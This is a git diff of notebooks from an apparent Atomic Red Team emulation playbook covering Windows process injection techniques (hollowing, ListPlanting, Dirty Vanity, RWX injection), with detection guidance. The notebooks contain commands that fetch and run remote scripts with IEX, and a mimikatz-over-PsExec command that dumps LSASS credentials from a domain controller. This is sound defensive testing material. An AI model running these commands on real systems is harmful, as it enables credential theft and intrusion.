}, { "cell_type": "code", "execution_count": null, - "id": "51330451", + "id": "355dfba7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3bb4e08e", + "id": "d62fcc2b", "metadata": {}, "source": "### Atomic Test #2 - RunPE via VBA\nThis module executes notepad.exe from within the WINWORD.EXE process\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c3ce1b08", + "id": "e85b9e41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "afe8c465", + "id": "2450cb82", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -72,14 +72,84 @@ { "cell_type": "code", "execution_count": null, - "id": "b6281bb0", + "id": "1dd6cb47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bd4fceb7", + "id": "cd845dce", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Process Hollowing in Go using CreateProcessW WinAPI", + "Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.012\\bin\\x64\\CreateProcess.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b2931dce", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "05a2416a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "47937cb0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "82da8f04", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)", + "Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.\nThis test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe\nallows for the retrieval of output generated from executed shellcode.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.012\\bin\\x64\\CreateProcessWithPipe.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c8adc95d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "478c22f9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4e2647cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a4370300", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." } @@ -87,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.013.ipynb b/playbook/tactics/defense-evasion/T1055.013.ipynb index 516f07ae..ea62fcef 100644 --- a/playbook/tactics/defense-evasion/T1055.013.ipynb +++ b/playbook/tactics/defense-evasion/T1055.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ededbeae", + "id": "6dfc4e7e", "metadata": {}, "source": "# T1055.013 - Process Doppelg\u00e4nging\nAdversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "59bc7b5d", + "id": "8c37fc57", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "99ef9810", + "id": "3c4dc025", "metadata": {}, "source": "## Detection\nMonitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.014.ipynb b/playbook/tactics/defense-evasion/T1055.014.ipynb index 4a54741c..23a6bc27 100644 --- a/playbook/tactics/defense-evasion/T1055.014.ipynb +++ b/playbook/tactics/defense-evasion/T1055.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "545dfce9", + "id": "85b8678a", "metadata": {}, "source": "# T1055.014 - VDSO Hijacking\nAdversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "49d90b2e", + "id": "4fea14c5", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8d5c4b2c", + "id": "89360db9", "metadata": {}, "source": "## Detection\nMonitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.015.ipynb b/playbook/tactics/defense-evasion/T1055.015.ipynb index 7bb8dc70..423582b8 100644 --- a/playbook/tactics/defense-evasion/T1055.015.ipynb +++ b/playbook/tactics/defense-evasion/T1055.015.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "fa66dc5a", + "id": "f63e3202", "metadata": {}, "source": "# T1055.015 - ListPlanting\nAdversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback." }, { "cell_type": "markdown", - "id": "ed212dcb", + "id": "95b84375", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3d48194b", + "id": "00dc128a", + "metadata": {}, + "source": "### Atomic Test #1 - Process injection ListPlanting\nThis test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title \"Warning\" and the content \"Atomic Red Team\" after a few seconds. Notepad will open following the appearance of the message box.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Injector ListPlanting.exe must exist at specified location (#{exe_binary})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe\" -OutFile \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "627689d0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9d9e34f3", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2f47814c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "dbde36cd", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "79b45b5f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a15692ad", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.ipynb b/playbook/tactics/defense-evasion/T1055.ipynb index d31023cd..e9319c46 100644 --- a/playbook/tactics/defense-evasion/T1055.ipynb +++ b/playbook/tactics/defense-evasion/T1055.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "2f868175", + "id": "2f54584e", "metadata": {}, "source": "# T1055 - Process Injection\nAdversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. " }, { "cell_type": "markdown", - "id": "919c3dd5", + "id": "49a33161", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "eee11609", + "id": "037f8621", "metadata": {}, - "source": "### Atomic Test #1 - Shellcode execution via VBA\nThis module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The 64-bit version of Microsoft Office must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n\n```\n##### Description: #{txt_path} must exist on disk at specified location\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\"\n\n```" + "source": "### Atomic Test #1 - Shellcode execution via VBA\nThis module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The 64-bit version of Microsoft Office must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n\n```\n##### Description: \"#{txt_path}\" must exist on disk at specified location\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1015ba48", + "id": "979a9c01", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4df7637e", + "id": "f18c30c3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,85 +38,410 @@ { "cell_type": "code", "execution_count": null, - "id": "86a8ad90", + "id": "a97bc279", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "05f65879", + "id": "5a8e46da", "metadata": {}, - "source": "### Atomic Test #2 - Remote Process Injection in LSASS via mimikatz\nUse mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #2 - Remote Process Injection in LSASS via mimikatz\nUse mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" -UseBasicParsing\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "034b1940", + "id": "20a9ed41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "70159fb9", + "id": "4e1ab056", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\PSTools\\PsExec.exe /accepteula \\\\DC1 -c %tmp%\\mimikatz\\x64\\mimikatz.exe \"lsadump::lsa /inject /id:500\" \"exit\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" /accepteula \\\\DC1 -c %tmp%\\mimikatz\\x64\\mimikatz.exe \"lsadump::lsa /inject /id:500\" \"exit\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "30432fb3", + "id": "d4cfd34d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1a9688a9", + "id": "562a8fba", "metadata": {}, "source": [ "### Atomic Test #3 - Section View Injection", "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n```" + "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f566ab06", + "id": "007c4309", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c1f8c7b6", + "id": "c50738f4", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process $notepad.pid```" }, { "cell_type": "code", "execution_count": null, - "id": "651d2106", + "id": "aa86927d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "1f28175a", + "id": "f1da53b1", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Dirty Vanity process Injection", + "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process\nwith shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at \nBlackHat Europe 2022. Shellcode will open a messsage box and a notepad.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\redVanity.exe\" (Start-Process calc.exe -PassThru).Id\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a849d486", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "b386d9ac", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ef84ce5c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3a14f843", + "metadata": {}, + "source": "### Atomic Test #5 - Read-Write-Execute process Injection\nThis test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.\nThe RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms \nthat relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe injected shellcode will open a message box and a notepad.\nRWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe original 